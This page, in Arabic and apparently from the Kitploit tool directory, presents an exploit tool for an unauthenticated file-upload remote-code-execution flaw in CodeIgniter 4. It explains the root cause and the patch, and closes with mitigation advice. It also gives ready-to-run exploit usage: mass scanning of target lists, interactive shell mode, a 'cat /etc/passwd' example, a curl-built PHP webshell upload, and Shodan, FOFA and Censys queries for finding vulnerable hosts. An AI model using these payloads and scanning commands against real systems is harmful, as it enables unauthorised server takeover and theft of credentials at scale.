Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in ثغرة تنفيذ التعليمات البرمجية عن بُعد في رفع الملفات. تجاوز بايتات السحر (getExtension مقابل getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-63223
ماسحات الثغرات الأمنية للويبتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in ثغرة تنفيذ التعليمات البرمجية عن بُعد في رفع الملفات. تجاوز بايتات السحر (getExtension مقابل getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

عرض المستودع
14منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-63223 — تنفيذ تعليمات برمجية عن بُعد (RCE) عبر رفع الملفات في CodeIgniter 4

تجاوز البايتات السحرية → is_image/mime_in → قشرة ويب PHP → RCE


نظرة عامة

CVE-2026-63223 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) شديدة الخطورة (CVSS 9.8) وبدون مصادقة في CodeIgniter 4، وهو إطار عمل ويب PHP كامل المكدس، وتؤثر على الإصدارات الأقدم من 4.7.4.

تستغل الثغرة قاعدتي التحقق من رفع الملفات is_image و، اللتين تفحصان (البايتات السحرية) دون التحقق من امتداد اسم الملف المقدم من العميل. يضيف المهاجم بايتات سحرية لصورة (ترويسات GIF89a أو JPEG أو PNG) إلى كود PHP، ويسمي الملف ، فيجتاز التحقق ويحقق تنفيذًا عن بُعد للتعليمات البرمجية (RCE) عندما يستقر الملف في دليل يمكن الوصول إليه عبر الويب وينفّذ PHP.

mime_in
نوع MIME المستمد من المحتوى فقط
shell.php

CVSS: 9.8 حرجة — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H تاريخ الاكتشاف: 31 يوليو 2026 | النشرة الأمنية: GHSA-mmj4-63m4-r6h5 تم الإصلاح في: CodeIgniter 4 الإصدار v4.7.4

الإصدارات المتأثرة

الإصدارالحالة
< 4.7.4معرّض للخطر
4.7.4+مصحّح

CWE: CWE-434 — رفع غير مقيد لملف من نوع خطير PoC مرجعي: imbas007/CVE-2026-63223-POC


آلية الثغرة

السبب الجذري

قاعدة التحقق is_image في CodeIgniter 4 تُمرّر getExtension() — الذي يُرجع الامتداد المستمد من البايتات السحرية (مثل gif) — عبر Mimes::guessTypeFromExtension() لتحديد ما إذا كان الملف صورة. أما امتداد اسم الملف المقدم من العميل (getClientExtension()، مثل php) فلا يتم فحصه أبدًا:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

لماذا تنجح الثغرة

  1. getExtension() ≠ getClientExtension() — الأول مستمد من البايتات السحرية (gif)، والثاني من اسم ملف العميل (php)
  2. التحقق يثق في البايتات لا في الاسم — ينجح فحص is_image لأن Mimes::guessTypeFromExtension("gif") يُرجع image/gif
  3. يُحفظ الملف باسم العميل — $file->move($path, $file->getClientName()) يحافظ على امتداد .php
  4. لا يوجد فحص متقاطع قبل v4.7.4 — لا تحقق من تطابق امتداد العميل مع النوع المكتشف
  5. الرفع عبر الويب — أدلة الرفع الافتراضية/العامة تقدم ملفات PHP مباشرة

تسلسل الهجوم

root@kitploit:~
1. يُنشئ المهاجم قشرة ويب PHP بترويسة GIF89a
   → يُبلّغ file(1) عن "GIF image data"
2. يرسل طلب POST متعدد الأجزاء إلى نقطة النهاية المعرضة (/upload/avatar)
   → يتحقق is_image: image/gif → نجح
   → يُحفظ الملف باسم shell.php في /uploads/
3. GET /uploads/shell.php?c=id
   → Apache يمرر .php إلى PHP-FPM → ينفّذ PHP
   → يُخرج GIF89a كنص عادي، ثم يُنفَّذ كود <?php
4. RCE بصلاحيات www-data

الإصلاح (v4.7.4)

يضيف التصحيح الدالة hasInvalidImageClientExtension() — التي تفحص الآن امتداد العميل أيضًا:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

التغيير الجوهري: يتحقق is_image الآن من كل من getExtension() (المستمد من المحتوى، من أجل فحص الصورة الفعلي) و getClientExtension() (المقدم من العميل، لرفض الامتدادات غير الصورية مثل .php).


التثبيت

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

الاستخدام

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

الوسائط

root@kitploit:~
  -t, --target       عنوان URL لهدف واحد
  -f, --file         قائمة الأهداف، هدف واحد في كل سطر
  -e, --endpoint     نقطة نهاية الرفع المعرضة (الافتراضي: /upload/avatar)
  --field FIELD      اسم حقل نموذج الرفع (الافتراضي: avatar)
  --method {gif,jpg,png}  تمويه البايتات السحرية (الافتراضي: gif)
  --filename NAME    اسم ملف القشرة (الافتراضي: shell.php)
  -c, --command      أمر القشرة المراد تنفيذه (الافتراضي: id)
  --shell            وضع القشرة شبه التفاعلية
  -o, --output       حفظ عناوين RCE في ملف
  --threads          عدد العاملين المتزامنين (الافتراضي: 30)

إثبات المفهوم

هدف واحد

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

الاستغلال اليدوي (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

التأثير

يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بصلاحيات مستخدم خادم الويب:

  • تنفيذ أوامر نظام تعسفية
  • الوصول إلى بيانات اعتماد قاعدة البيانات من ملفات .env
  • نشر أبواب خلفية دائمة
  • التنقل إلى الشبكات الداخلية
  • تشويه أو اختراق التطبيق

لا حاجة إلى أي حساب أو مصادقة — نقاط نهاية الرفع التي تستخدم is_image/mime_in دون ext_in معرّضة للخطر افتراضيًا.


الإصلاح (v4.7.4)

  1. قم بالترقية إلى CodeIgniter 4 v4.7.4 أو أحدث
  2. حل بديل: اقرن قاعدتي is_image/mime_in بقاعدة التحقق ext_in
  3. خزّن الملفات المرفوعة خارج جذر الويب وقدّمها عبر بروكسي readfile()
  4. أنشئ أسماء ملفات يتحكم بها الخادم باستخدام getRandomName()

إخلاء مسؤولية

لأغراض تعليمية ولاختبارات مصرّح بها فقط.

لا تستخدم هذه الأداة ضد أي أنظمة دون إذن صريح. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.


المراجع

الموردالرابط
نشرة GitHub الأمنيةGHSA-mmj4-63m4-r6h5
PoC مرجعيimbas007/CVE-2026-63223-POC
سجل NVDCVE-2026-63223
CodeIgniter v4.7.4سجل التغييرات
CWE-434الرفع غير المقيد

ليست تابعة لمؤسسة CodeIgniter.

تنزيل الأداة